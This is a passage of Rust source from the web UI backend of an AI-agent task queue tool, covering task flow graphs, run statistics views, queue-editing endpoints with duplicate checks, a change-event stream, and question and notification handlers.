4528 key: key.to_owned(),
4529 kind,
4530 label,
4531 status: None,
4532 note: None,
4533 run_kind: None,
4534 detail: None,
4535 decided: false,
4536 readable: true,
4537 href: None,
4538 };
4539 let mut nodes = Vec::new();
4540 let mut edges: Vec<FlowEdge> = Vec::new();
4541 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4543 let mut n = node(
4544 "chat",
4545 "chat",
4546 format!("Chat {}", crate::queue::short(&link.id)),
4547 );
4548 n.href = Some(link.href);
4549 nodes.push(n);
4550 edges.push(FlowEdge {
4551 from: "chat".to_owned(),
4552 to: "start".to_owned(),
4553 label: "queued from chat".to_owned(),
4554 attempt: AttemptCost::None,
4555 });
4556 }
4557 nodes.push(node("start", "start", "Task queued".to_owned()));
4558 let mut prev = "start".to_owned();
4559 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4560 for (i, h) in history.iter().enumerate() {
4561 let key = format!("run-{}", h.n);
4562 let mut n = node(&key, "run", format!("Run {}", h.short));
4563 n.run_kind = Some(h.kind);
4564 n.readable = h.readable;
4565 n.href = Some(format!("#/runs/{}", h.id));
4566 n.decided = h.readable && !h.provisional;
4567 n.detail = h
4568 .branch
4569 .as_ref()
4570 .map(|b| format!("review-only run of branch {b}"));
4571 match h.exit {
4572 RunExit::Unreadable => n.note = Some("unreadable"),
4573 RunExit::Interrupted => n.note = Some("interrupted"),
4574 _ => {
4575 n.status = h.status;
4576 if h.provisional {
4577 n.note = Some("no verdict");
4578 }
4579 }
4580 }
4581 let into = match h.kind {
4582 "review" => Some(format!(
4583 "review-only run of branch {}",
4584 h.branch.as_deref().unwrap_or("?")
4585 )),
4586 "resume" => Some("resume the same run".to_owned()),
4587 _ if i > 0 => Some("retry".to_owned()),
4588 _ => None,
4589 };
4590 let label = match (prev_exit, into) {
4591 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4592 (Some((e, st)), None) => e.edge_label(st),
4593 (None, Some(i)) => i,
4594 (None, None) => "claimed".to_owned(),
4595 };
4596 edges.push(FlowEdge {
4597 from: prev.clone(),
4598 to: key.clone(),
4599 label,
4600 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4601 });
4602 prev_exit = Some((h.exit, h.status));
4603 prev = key;
4604 nodes.push(n);
4605 }
4606 let mut end = node("end", "end", task.status.as_str().to_owned());
4607 end.status = Some(task.status.as_str());
4608 nodes.push(end);
4609 let (label, attempt) = match prev_exit {
4610 None => (
4611 format!("no run yet \u{2192} {}", task.status.as_str()),
4612 AttemptCost::None,
4613 ),
4614 Some((e, st)) if e.explains(task.status) => (
4615 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4616 e.cost(),
4617 ),
4618 Some((e, _)) => (
4619 format!("closed by hand: task is {}", task.status.as_str()),
4620 e.cost(),
4621 ),
4622 };
4623 edges.push(FlowEdge {
4624 from: prev,
4625 to: "end".to_owned(),
4626 label,
4627 attempt,
4628 });
4629 FlowView {
4630 nodes,
4631 edges,
4632 attempts: task.attempts,
4633 max_attempts,
4634 }
4635}
4636
4637fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4640 let mut history = Vec::with_capacity(task.runs.len());
4641 let mut seen: Vec<&str> = Vec::new();
4642 let mut prior: Option<(&str, RunStatus)> = None;
4643 for (i, run_id) in task.runs.iter().enumerate() {
4644 let state = read(run_id);
4645 let resumed = seen.contains(&run_id.as_str());
4646 seen.push(run_id);
4647 history.push(task_run_view(
4648 run_id,
4649 state.as_ref(),
4650 RunSlot {
4651 n: i + 1,
4652 resumed,
4653 resumed_later: task.runs[i + 1..]
4654 .iter()
4655 .position(|r| r == run_id)
4656 .map(|off| i + off + 2),
4657 prior,
4658 last: i + 1 == task.runs.len(),
4659 },
4660 task,
4661 ));
4662 if let Some(s) = &state {
4663 prior = Some((run::short_of(run_id), s.status));
4664 }
4665 }
4666 history
4667}
4668
4669async fn task_detail(
4670 State(ui): State<Arc<Ui>>,
4671 Path(id): Path<String>,
4672) -> ApiResult<Json<TaskDetailView>> {
4673 blocking(move || {
4674 let id = resolve_task(&ui.queue, &id)?;
4675 let task = ui
4676 .queue
4677 .get(&id)
4678 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4679 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4680 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4681 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4682 let max_attempts = daemon::Opts::default().max_attempts;
4683 let flow = task_flow(&task, &history, max_attempts);
4684 Ok(Json(TaskDetailView {
4685 max_attempts,
4686 flow,
4687 history,
4688 runs_unreadable,
4689 attempts_note: ATTEMPTS_NOTE,
4690 task: TaskView::with_inventory(task, &inv),
4691 }))
4692 })
4693 .await
4694}
4695
4696#[derive(Debug, Serialize)]
4700struct RateView {
4701 pct: f64,
4702 denominator: usize,
4703}
4704
4705impl RateView {
4706 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4707 (denominator > 0).then(|| Self {
4708 pct: 100.0 * numerator as f64 / denominator as f64,
4709 denominator,
4710 })
4711 }
4712}
4713
4714#[derive(Debug, Serialize)]
4719struct StatsTotalsView {
4720 runs: usize,
4721 merged: usize,
4722 ready: usize,
4723 blocked: usize,
4724 failed: usize,
4725 stalled: usize,
4726 verified_noop: usize,
4727 superseded: usize,
4728 in_progress: usize,
4729 completion_rate: Option<RateView>,
4730 tallied: usize,
4731 split: usize,
4732 split_rate: Option<RateView>,
4733 deliberated: usize,
4734 minds_changed: usize,
4735 converged: usize,
4736 review_rounds: usize,
4737}
4738
4739impl From<&stats::Totals> for StatsTotalsView {
4740 fn from(t: &stats::Totals) -> Self {
4741 Self {
4742 runs: t.runs,
4743 merged: t.merged,
4744 ready: t.ready,
4745 blocked: t.blocked,
4746 failed: t.failed,
4747 stalled: t.stalled,
4748 verified_noop: t.verified_noop,
4749 superseded: t.superseded,
4750 in_progress: t.in_progress,
4751 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4752 tallied: t.tallied,
4753 split: t.split,
4754 split_rate: RateView::of(t.split, t.tallied),
4755 deliberated: t.deliberated,
4756 minds_changed: t.minds_changed,
4757 converged: t.converged,
4758 review_rounds: t.review_rounds,
4759 }
4760 }
4761}
4762
4763#[derive(Debug, Serialize)]
4765struct AgentStatsView {
4766 agent: String,
4767 entered: usize,
4768 wins: usize,
4769 empty: usize,
4770 win_rate: Option<RateView>,
4771}
4772
4773impl From<&stats::AgentStats> for AgentStatsView {
4774 fn from(a: &stats::AgentStats) -> Self {
4775 Self {
4776 agent: a.agent.clone(),
4777 entered: a.entered,
4778 wins: a.wins,
4779 empty: a.empty,
4780 win_rate: RateView::of(a.wins, a.entered),
4781 }
4782 }
4783}
4784
4785#[derive(Debug, Serialize)]
4789struct ReviewerStatsView {
4790 agent: String,
4791 rounds: usize,
4792 seated: usize,
4793 submitted: usize,
4794 adopted: usize,
4795 unique: usize,
4796 timeouts: usize,
4797 adopted_per_round: Option<f64>,
4798 precision: Option<RateView>,
4799 unique_rate: Option<RateView>,
4800 timeout_rate: Option<RateView>,
4801}
4802
4803impl From<&stats::ReviewerStats> for ReviewerStatsView {
4804 fn from(r: &stats::ReviewerStats) -> Self {
4805 Self {
4806 agent: r.agent.clone(),
4807 rounds: r.rounds,
4808 seated: r.seated,
4809 submitted: r.submitted,
4810 adopted: r.adopted,
4811 unique: r.unique,
4812 timeouts: r.timeouts,
4813 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4814 precision: RateView::of(r.adopted, r.submitted),
4815 unique_rate: RateView::of(r.unique, r.submitted),
4816 timeout_rate: RateView::of(r.timeouts, r.seated),
4817 }
4818 }
4819}
4820
4821#[derive(Debug, Serialize)]
4827struct AdvisorStatsView {
4828 agent: String,
4829 seated: usize,
4830 proposed: usize,
4831 absent: usize,
4832 faint: usize,
4833 strong: usize,
4834 reflection_rate: Option<RateView>,
4835}
4836
4837impl From<&stats::AdvisorStats> for AdvisorStatsView {
4838 fn from(a: &stats::AdvisorStats) -> Self {
4839 Self {
4840 agent: a.agent.clone(),
4841 seated: a.seated,
4842 proposed: a.proposed,
4843 absent: a.absent,
4844 faint: a.faint,
4845 strong: a.strong,
4846 reflection_rate: RateView::of(a.strong, a.proposed),
4847 }
4848 }
4849}
4850
4851#[derive(Debug, Serialize)]
4853struct E2eStatsView {
4854 rounds: usize,
4855 failures: usize,
4856 sole_detections: usize,
4857 deferred: usize,
4858 sole_rate: Option<RateView>,
4859}
4860
4861impl From<&stats::E2eStats> for E2eStatsView {
4862 fn from(e: &stats::E2eStats) -> Self {
4863 Self {
4864 rounds: e.rounds,
4865 failures: e.failures,
4866 sole_detections: e.sole_detections,
4867 deferred: e.deferred,
4868 sole_rate: RateView::of(e.sole_detections, e.failures),
4869 }
4870 }
4871}
4872
4873#[derive(Debug, Serialize)]
4881struct ReleaseBumpStatsView {
4882 merged: usize,
4883 recorded: usize,
4884 pr_opened: usize,
4885 automerge_enabled: usize,
4886 merged_directly: usize,
4887 needs_attention: usize,
4888 clean: usize,
4889 coverage_rate: Option<RateView>,
4890 automerge_rate: Option<RateView>,
4891 attention_rate: Option<RateView>,
4892}
4893
4894impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4895 fn from(b: &stats::ReleaseBumpStats) -> Self {
4896 Self {
4897 merged: b.merged,
4898 recorded: b.recorded,
4899 pr_opened: b.pr_opened,
4900 automerge_enabled: b.automerge_enabled,
4901 merged_directly: b.merged_directly,
4902 needs_attention: b.needs_attention,
4903 clean: b.clean(),
4904 coverage_rate: RateView::of(b.recorded, b.merged),
4905 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4906 attention_rate: RateView::of(b.needs_attention, b.recorded),
4907 }
4908 }
4909}
4910
4911#[derive(Debug, Serialize)]
4913struct TaskCountsView {
4914 queued: usize,
4915 running: usize,
4916 done: usize,
4917 failed: usize,
4918 held: usize,
4919 blocked: usize,
4920 parked: usize,
4921}
4922
4923impl From<crate::queue::TaskCounts> for TaskCountsView {
4924 fn from(c: crate::queue::TaskCounts) -> Self {
4925 Self {
4926 queued: c.queued,
4927 running: c.running,
4928 done: c.done,
4929 failed: c.failed,
4930 held: c.held,
4931 blocked: c.blocked,
4932 parked: c.parked,
4933 }
4934 }
4935}
4936
4937#[derive(Debug, Serialize)]
4943struct RepoSummaryView {
4944 repo: String,
4947 name: String,
4949 runs: usize,
4950 completion_rate: Option<RateView>,
4951}
4952
4953impl From<&stats::RepoStats> for RepoSummaryView {
4954 fn from(r: &stats::RepoStats) -> Self {
4955 let t = &r.stats.totals;
4956 Self {
4957 repo: r.repo.to_string_lossy().into_owned(),
4958 name: r.name.clone(),
4959 runs: t.runs,
4960 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4961 }
4962 }
4963}
4964
4965#[derive(Debug, Serialize)]
4971struct StatsView {
4972 totals: StatsTotalsView,
4973 agents: Vec<AgentStatsView>,
4975 reviewers: Vec<ReviewerStatsView>,
4977 advisors: Vec<AdvisorStatsView>,
4979 e2e: E2eStatsView,
4980 release_bumps: ReleaseBumpStatsView,
4981 queue: TaskCountsView,
4982 runs_unreadable: usize,
4992 repos: Vec<RepoSummaryView>,
4996 daily: Vec<DailyStatsView>,
5001 repo: Option<String>,
5005 retired_hidden: Vec<String>,
5009}
5010
5011#[derive(Debug, Serialize)]
5013struct DailyStatsView {
5014 date: String,
5016 runs: usize,
5017 merged: usize,
5018 ready: usize,
5019 other: usize,
5020 completion_rate: Option<RateView>,
5022}
5023
5024impl From<&stats::DayBucket> for DailyStatsView {
5025 fn from(b: &stats::DayBucket) -> Self {
5026 Self {
5027 date: b.date.to_string(),
5028 runs: b.runs,
5029 merged: b.merged,
5030 ready: b.ready,
5031 other: b.other,
5032 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5033 }
5034 }
5035}
5036
5037const STATS_DAILY_DAYS: usize = 30;
5039
5040#[derive(Debug, Default, Deserialize)]
5049#[serde(default)]
5050struct StatsQuery {
5051 repo: Option<String>,
5052 all: bool,
5054}
5055
5056async fn stats_get(
5063 State(ui): State<Arc<Ui>>,
5064 Query(q): Query<StatsQuery>,
5065) -> ApiResult<Json<StatsView>> {
5066 blocking(move || {
5067 let states: Vec<RunState> = run_ids(&ui.runs)
5068 .into_iter()
5069 .filter_map(|id| read_run(&ui.runs, &id).ok())
5070 .collect();
5071 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5072 .iter()
5073 .map(RepoSummaryView::from)
5074 .collect();
5075 let mut scoped: Vec<&RunState> = states.iter().collect();
5076 let mut collected = match &q.repo {
5077 Some(repo) => {
5078 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5079 if filtered.is_empty() {
5080 return Err(ApiError::not_found(format!(
5081 "no runs recorded against repo `{repo}`"
5082 )));
5083 }
5084 scoped = filtered.clone();
5085 stats::collect_refs(filtered)
5086 }
5087 None => stats::collect(&states),
5088 };
5089 if !q.all {
5090 let repo = q
5091 .repo
5092 .as_deref()
5093 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5094 stats::retain_current_roster(&mut collected, &repo);
5095 }
5096 let daily = stats::daily(
5097 scoped,
5098 jiff::Zoned::now().date(),
5099 &jiff::tz::TimeZone::system(),
5100 STATS_DAILY_DAYS,
5101 );
5102 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5103 Ok(Json(StatsView {
5104 totals: StatsTotalsView::from(&collected.totals),
5105 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5106 reviewers: collected
5107 .reviewers
5108 .iter()
5109 .map(ReviewerStatsView::from)
5110 .collect(),
5111 advisors: collected
5112 .advisors
5113 .iter()
5114 .map(AdvisorStatsView::from)
5115 .collect(),
5116 e2e: E2eStatsView::from(&collected.e2e),
5117 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5118 queue: TaskCountsView::from(queue_counts),
5119 runs_unreadable: runs_unreadable(&ui.runs),
5120 repos,
5121 daily: daily.iter().map(DailyStatsView::from).collect(),
5122 repo: q.repo.clone(),
5123 retired_hidden: collected.retired_hidden.clone(),
5124 }))
5125 })
5126 .await
5127}
5128
5129#[derive(Debug, Default, Deserialize)]
5132#[serde(default, deny_unknown_fields)]
5133struct HoldBody {
5134 reason: Option<String>,
5135}
5136
5137async fn queue_hold(
5138 State(ui): State<Arc<Ui>>,
5139 Path(id): Path<String>,
5140 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5141) -> ApiResult<Json<TaskView>> {
5142 let body = match body {
5146 Ok(Json(body)) => body,
5147 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5148 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5149 };
5150 let reason = body.reason.filter(|r| !r.trim().is_empty());
5151 mutate(ui, id, move |t| {
5152 t.hold_manual(reason.clone());
5153 Ok(())
5154 })
5155 .await
5156}
5157
5158async fn queue_release(
5159 State(ui): State<Arc<Ui>>,
5160 Path(id): Path<String>,
5161) -> ApiResult<Json<TaskView>> {
5162 mutate(ui, id, |t| {
5163 t.release();
5164 Ok(())
5165 })
5166 .await
5167}
5168
5169#[derive(Debug, Deserialize)]
5171#[serde(deny_unknown_fields)]
5172struct PriorityBody {
5173 priority: i32,
5174}
5175
5176async fn queue_priority(
5182 State(ui): State<Arc<Ui>>,
5183 Path(id): Path<String>,
5184 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5185) -> ApiResult<Json<TaskView>> {
5186 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5187 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5188}
5189
5190#[derive(Debug, Deserialize)]
5192#[serde(deny_unknown_fields)]
5193struct EditBody {
5194 title: String,
5195 instruction: String,
5196 #[serde(default)]
5199 force: bool,
5200}
5201
5202async fn queue_edit(
5206 State(ui): State<Arc<Ui>>,
5207 Path(id): Path<String>,
5208 body: std::result::Result<Json<EditBody>, JsonRejection>,
5209) -> ApiResult<Json<TaskView>> {
5210 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5211 let mut judged: Option<(String, PathBuf)> = None;
5215 if !body.force {
5216 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5217 let (id, text) = (id.clone(), body.instruction.clone());
5218 let (seen, hits) = blocking(move || {
5219 let id = resolve_task(&queue, &id)?;
5220 let t = queue.get(&id)?;
5221 if text == t.instruction {
5222 return Ok((None, Vec::new()));
5223 }
5224 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5225 Ok((Some((t.instruction, t.repo)), hits))
5226 })
5227 .await?;
5228 if let Some((_, repo)) = &seen {
5229 let cfg = crate::config::Config::discover(repo, None)
5230 .ok()
5231 .map(|(c, _)| c);
5232 let screened =
5233 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5234 .await
5235 .map_err(|dup| {
5236 ApiError::conflict(dup.render(
5237 "Nothing was saved. If it is not a duplicate, repeat the request \
5238 with \"force\": true.",
5239 ))
5240 })?;
5241 if let crate::dupes::Screened::Unjudged(why) = screened {
5242 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5243 }
5244 }
5245 judged = seen;
5246 }
5247 let force = body.force;
5248 mutate(ui, id, move |t| {
5249 if !force && body.instruction != t.instruction {
5250 match &judged {
5251 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5252 _ => {
5253 anyhow::bail!("the task changed while it was being checked; repeat the request")
5254 }
5255 }
5256 }
5257 t.edit(body.title.clone(), body.instruction.clone())
5258 })
5259 .await
5260}
5261
5262async fn queue_done(
5270 State(ui): State<Arc<Ui>>,
5271 Path(id): Path<String>,
5272) -> ApiResult<Json<TaskView>> {
5273 let home = ui.home.clone();
5274 mutate(ui, id, move |t| {
5275 t.succeed();
5276 crate::daemon::supersede_prior_runs(t, &home);
5284 Ok(())
5285 })
5286 .await
5287}
5288
5289async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5297 blocking(move || {
5298 let id = resolve_task(&ui.queue, &id)?;
5299 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5300 ui.queue
5301 .remove(&id, in_flight, &ui.questions)
5302 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5303 Ok(StatusCode::NO_CONTENT)
5304 })
5305 .await
5306}
5307
5308async fn mutate(
5317 ui: Arc<Ui>,
5318 id: String,
5319 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5320) -> ApiResult<Json<TaskView>> {
5321 blocking(move || {
5322 let id = resolve_task(&ui.queue, &id)?;
5323 let _claim = ui.queue.claim(&id).map_err(|e| {
5328 ApiError::conflict(format!(
5329 "{e:#} - a daemon is running this task, so it cannot be \
5330 changed from here yet"
5331 ))
5332 })?;
5333 let mut task = ui.queue.get(&id)?;
5334 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5335 Ok(dup) => ApiError::conflict(dup.render(
5336 "Nothing was saved. If it is not a duplicate, repeat the request with \
5337 \"force\": true.",
5338 )),
5339 Err(e) => ApiError::bad_request_from(e),
5340 })?;
5341 ui.queue.put(&mut task)?;
5342 Ok(Json(TaskView::from(task)))
5343 })
5344 .await
5345}
5346
5347async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5355 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5356 tokio::spawn(async move {
5357 let mut ticker = tokio::time::interval(POLL);
5358 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5359 let mut stamps: Option<[Stamps; 3]> = None;
5360 loop {
5361 ticker.tick().await;
5364 let state = Arc::clone(&ui);
5365 let revisions = tokio::task::spawn_blocking(move || {
5366 let stamps = [
5367 store_stamps(state.queue.root(), false),
5368 store_stamps(&state.runs, true),
5369 store_stamps(state.talks.root(), false),
5370 ];
5371 let revisions = (
5372 stamps_revision(&stamps[0]),
5373 stamps_revision(&stamps[1]),
5374 state.questions.revision(),
5375 stamps_revision(&stamps[2]),
5376 state.notices.revision(),
5377 state.lock_loop().rev,
5381 );
5382 (revisions, stamps)
5383 })
5384 .await;
5385 let Ok((revisions, next_stamps)) = revisions else {
5386 break;
5387 };
5388 if last == Some(revisions) {
5389 continue;
5390 }
5391 let mut payload = serde_json::json!({
5392 "queue_rev": revisions.0,
5393 "runs_rev": revisions.1,
5394 "questions_rev": revisions.2,
5395 "talks_rev": revisions.3,
5396 "notifications_rev": revisions.4,
5397 "loop_rev": revisions.5,
5398 });
5399 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5400 for (index, (key, rev)) in [
5401 ("queue_delta", base.0),
5402 ("runs_delta", base.1),
5403 ("talks_delta", base.3),
5404 ]
5405 .into_iter()
5406 .enumerate()
5407 {
5408 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5409 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5411 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5412 }
5413 }
5414 }
5415 last = Some(revisions);
5416 stamps = Some(next_stamps);
5417 let Ok(event) = Event::default().event("change").json_data(payload) else {
5419 break;
5420 };
5421 if tx.send(event).await.is_err() {
5422 break;
5423 }
5424 }
5425 });
5426 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5427 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5428}
5429
5430type Stamps = HashMap<String, (u128, u64)>;
5431
5432fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5434 std::fs::read_dir(root)
5435 .into_iter()
5436 .flatten()
5437 .flatten()
5438 .filter_map(|entry| {
5439 let path = if runs {
5440 entry.path().join("run.json")
5441 } else {
5442 entry.path()
5443 };
5444 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5445 return None;
5446 }
5447 let metadata = path.metadata().ok()?;
5448 let modified = metadata
5449 .modified()
5450 .ok()?
5451 .duration_since(std::time::UNIX_EPOCH)
5452 .ok()?;
5453 let id = if runs {
5454 entry.file_name().to_string_lossy().into_owned()
5455 } else {
5456 path.file_stem()?.to_string_lossy().into_owned()
5457 };
5458 Some((id, (modified.as_nanos(), metadata.len())))
5459 })
5460 .collect()
5461}
5462
5463#[derive(Debug, Serialize)]
5464struct Delta {
5465 base: u64,
5466 changed: Vec<String>,
5467 removed: Vec<String>,
5468}
5469
5470fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5471 let mut changed: Vec<_> = next
5472 .iter()
5473 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5474 .map(|(id, _)| id.clone())
5475 .collect();
5476 let mut removed: Vec<_> = previous
5477 .keys()
5478 .filter(|id| !next.contains_key(*id))
5479 .cloned()
5480 .collect();
5481 changed.sort_unstable();
5482 removed.sort_unstable();
5483 Delta {
5484 base,
5485 changed,
5486 removed,
5487 }
5488}
5489
5490fn runs_revision(runs: &FsPath) -> u64 {
5497 stamps_revision(&store_stamps(runs, true))
5498}
5499
5500fn stamps_revision(stamps: &Stamps) -> u64 {
5504 use std::hash::{Hash as _, Hasher as _};
5505 if stamps.is_empty() {
5506 return 0;
5507 }
5508 let mut entries: Vec<_> = stamps.iter().collect();
5509 entries.sort_unstable();
5510 let mut hasher = std::hash::DefaultHasher::new();
5511 entries.hash(&mut hasher);
5512 hasher.finish().max(1)
5513}
5514
5515fn run_ids(runs: &FsPath) -> Vec<String> {
5521 let mut ids: Vec<String> = std::fs::read_dir(runs)
5522 .into_iter()
5523 .flatten()
5524 .flatten()
5525 .filter(|e| e.path().join("run.json").is_file())
5526 .map(|e| e.file_name().to_string_lossy().into_owned())
5527 .collect();
5528 ids.sort_unstable_by(|a, b| b.cmp(a));
5530 ids
5531}
5532
5533fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5535 let path = runs.join(id).join("run.json");
5536 let body =
5537 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5538 let state: RunState =
5539 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5540 run::migrate_schema(state)
5545}
5546
5547#[must_use]
5555pub fn runs_unreadable(runs: &FsPath) -> usize {
5556 run_ids(runs)
5557 .into_iter()
5558 .filter(|id| read_run(runs, id).is_err())
5559 .count()
5560}
5561
5562fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5564 if runs.join(id).join("run.json").is_file() {
5565 return Ok(id.to_owned());
5566 }
5567 pick(run_ids(runs), id, "run")
5568}
5569
5570fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5572 if queue.path_of(id).is_file() {
5573 return Ok(id.to_owned());
5574 }
5575 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5576}
5577
5578#[derive(Debug, Serialize)]
5589struct QuestionView {
5590 #[serde(flatten)]
5591 question: Question,
5592 detail_md: Vec<md::Node>,
5593 thread_bodies_md: Vec<Vec<md::Node>>,
5595 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5598 waiting_on_agent: bool,
5608 holder: Option<&'static str>,
5612 deputies_enabled: bool,
5616 run_is_task: bool,
5619 origin_chat: Option<String>,
5624 origin_chat_closed: bool,
5626}
5627
5628impl QuestionView {
5629 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5633 let base = md::ImageBase::QuestionPanel {
5634 id: question.id.clone(),
5635 };
5636 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5637 Self {
5638 detail_md: md::to_nodes(&question.detail, &base),
5639 thread_bodies_md: question
5640 .thread
5641 .iter()
5642 .map(|t| md::to_nodes(&t.body, &base))
5643 .collect(),
5644 thread_notes_md: question
5645 .thread
5646 .iter()
5647 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5648 .collect(),
5649 waiting_on_agent: question.waiting_on_agent(),
5650 holder,
5651 deputies_enabled,
5652 run_is_task: question.run_names_task(),
5653 origin_chat: None,
5654 origin_chat_closed: false,
5655 question,
5656 }
5657 }
5658
5659 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5661 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5662 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5663 self.origin_chat = talk.map(|t| t.id);
5664 self
5665 }
5666}
5667
5668fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5672 Config::discover(repo, None).ok().map(|(c, _)| c)
5673}
5674
5675fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5677 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5678}
5679
5680fn question_views(
5683 qs: Vec<Question>,
5684 store: &ask::Questions,
5685 load: impl FnOnce() -> Option<Config>,
5686) -> Vec<QuestionView> {
5687 if qs.is_empty() {
5688 return Vec::new();
5689 }
5690 let cfg = load();
5691 qs.into_iter()
5692 .map(|q| {
5693 let on = deputies_enabled(cfg.as_ref(), &q);
5694 QuestionView::of(q, store, on)
5695 })
5696 .collect()
5697}
5698
5699fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5709 if !q.status.open() {
5710 return None;
5711 }
5712 if q.cwd.is_none() && q.deputy.is_none() {
5713 return crate::deputy::kind_of(q).map(|_| "nobody");
5714 }
5715 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5716 Some(_) if q.deputy.is_some() => "deputy",
5717 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5718 Some(_) => "asker",
5719 None => "nobody",
5720 })
5721}
5722
5723async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5729 blocking(move || {
5730 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5731 Ok(Json(
5732 question_views(ui.questions.list(), &ui.questions, || {
5733 deputy_config(&ui.repo)
5734 })
5735 .into_iter()
5736 .map(|v| v.with_origin(&tasks, &talks))
5737 .collect(),
5738 ))
5739 })
5740 .await
5741}
5742
5743async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5746 blocking(move || {
5747 let items = ui.notices.list();
5748 let unread = items.iter().filter(|n| n.unread()).count();
5749 Ok(Json(
5750 serde_json::json!({ "unread": unread, "items": items }),
5751 ))
5752 })
5753 .await
5754}
5755
5756fn notice_error(e: anyhow::Error) -> ApiError {
5757 ApiError::not_found(format!("{e:#}"))
5760}
5761
5762async fn notification_read(
5764 State(ui): State<Arc<Ui>>,
5765 Path(id): Path<String>,
5766) -> ApiResult<Json<Notice>> {
5767 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5768}
5769
5770async fn notification_dismiss(
5772 State(ui): State<Arc<Ui>>,
5773 Path(id): Path<String>,
5774) -> ApiResult<Json<Notice>> {
5775 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5776}
5777
5778async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5780 blocking(move || {
5781 let changed = ui.notices.mark_all_read()?;
5782 Ok(Json(serde_json::json!({ "marked": changed })))
5783 })
5784 .await
5785}
5786
5787#[derive(Debug, Default, Deserialize)]
5793#[serde(default, deny_unknown_fields)]
5794struct NewAnswer {
5795 choice: Option<String>,
5796 text: Option<String>,
5797}
5798
5799async fn question_answer(
5800 State(ui): State<Arc<Ui>>,
5801 Path(id): Path<String>,
5802 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5803) -> ApiResult<Json<QuestionView>> {
5804 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5805 let answer = match (body.choice, body.text) {
